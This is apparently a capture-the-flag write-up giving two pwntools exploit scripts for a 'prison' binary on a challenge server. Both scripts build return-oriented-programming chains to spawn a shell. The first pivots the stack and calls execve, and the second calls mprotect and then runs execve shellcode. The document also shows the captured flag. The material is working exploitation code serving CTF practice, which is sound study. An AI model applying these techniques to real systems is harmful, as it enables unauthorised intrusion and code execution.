20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context.log_level = "debug"
context.arch = "amd64"

# p = process("./prison")
p = remote("20.84.72.194", 5001)
elf = ELF("./prison")
# 0x0000000000401a1a : pop rdx ; ret
# 0x0000000000401a0d : pop rdi ; ret
# 0x0000000000413676 : pop rsi ; pop rbp ; ret
pop_rdi = 0x401a0d
pop_rdx = 0x401a1a
pop_rsi_rbp = 0x413676
bss = 0x00000000004ccac0
# 0x000000000041f464 : pop rax ; ret
pop_rax = 0x41f464
# 0x00000000004013b8 : syscall
syscall = 0x4013b8
# 0x00000000004450f8 : pop rsp ; ret
pop_rsp = 0x4450f8
# sla(b"They gave you the premium stay so at least you get to choose your cell (1-6): ", str(1))
sla(b"They gave you the premium stay so at least you get to choose your cell (1-6): ", str(17))
p.recvuntil(b"Your cellmate is ")
stack_pointer = u64(p.recv(6).ljust(8, b"\x00"))
rop_addr = stack_pointer - (0x8b0 - 0x7c0)
payload = p64(pop_rdi) + p64(0) + p64(pop_rsi_rbp) + p64(rop_addr) + p64(0) + p64(pop_rdx) + p64(0x200) + p64(elf.sym["read"]) + p64(0) + p64(pop_rsp) + p64(rop_addr)
# payload = payload.ljust(, b"\x00")
# gdb.attach(p)
sa(b"Now let's get the registry updated. What is your name: ", payload)
sleep(3)
payload = b"/bi" + b"/bin/sh\x00" * 9
payload += p64(pop_rdi) + p64(rop_addr) + p64(pop_rsi_rbp) + p64(0) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(0x3b) + p64(syscall)
p.send(payload)

p.interactive()
# squ1rrel{m4n_0n_th3_rUn_fr0m_NX_pr1s0n!}

Solved by pfwqdxwdd:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from tools import*
context(arch='amd64',log_level='debug')


# p=process("./prison")
p=remote("20.84.72.194",5001)
e=ELF("./prison")

pop_rdi=0x401a0d
pop_rdx=0x401a1a
xor_rax=0x000000000042bea9

mg0=0x0000000000419501
# add rdx, 0x60; mov rax, qword ptr [rdi]; mov qword ptr [rdx], rax; ret;
xor_edi=0x000000000047ddda
# xor edi, edi; mov eax, edi; ret;
leave_ret=0x0000000000401b54
rdx=0x0000000000471875

payload=b'a'*0x40+p64(0x4cb3a0)+p64(rdx)+p64(xor_edi)+p64(0x000000000042daa6)

p.sendline(b'1')

p.recvuntil("name:")

p.sendline(payload)

debug(p,0x401b55)

pause()
mrotect=0x000000000042e5b0
shellcode=asm('''

    mov rax, 59
    mov rdi,0x0068732f6e69622f
    push rdi
    mov rdi,rsp
    xor rsi,rsi
    xor rdx,rdx
    syscall
''')

payload1=b'a'*5+p64(pop_rdi)+p64(0x4cb000)+p64(pop_rdx)+p64(0x7)+p64(0x0000000000413676)+p64(0x1000)*2+p64(mrotect)+p64(0x4cb3f0)+shellcode

p.sendline(payload1)


p.interactive()